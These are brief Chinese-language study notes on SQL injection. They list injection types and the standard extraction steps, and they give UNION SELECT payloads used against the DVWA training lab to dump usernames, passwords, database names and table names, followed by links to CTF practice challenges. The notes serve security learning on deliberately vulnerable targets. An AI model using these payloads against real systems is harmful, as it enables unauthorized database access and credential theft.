SQL注入

SQL注入

类型
1.数字型注入
2.字符型注入
区别：字符型注入需要闭合单引号“ ’ ”，数字型不需要
SQL注入基本步骤

1)判断是否存在注入，注人是字符型还是数字型。
2)猜解SQL查询语句中的字段数及字段顺序。
3)获取当前数据库名。
4)获取数据库中的表名。
5)获取表中的字段名。
6)下载数据。

DVWA

low安全级别

• 获取user及password
  'union select user,password from users
• 尝试获取数据库名
  'union select user(),database()
• 尝试获取数据库表名
  'union select 1，group_concat(table_name) from information_schema.tables where table_schema=database() #
• 猜测密码和用户名字段
  union select， pwd from admin(假如上一步返回表明为admin)（若无回显，则更改pwd，重新猜测密码字段）
  经查看低安全的服务器端代码可以发现->
  程序对来自客户端的参数id没有进行任何检查和过滤

靶场 buu

buu
BUU SQL COURSE 1
https://blog.csdn.net/CyhDl666/article/details/114688676
[SUCTF 2019]EasySQL 1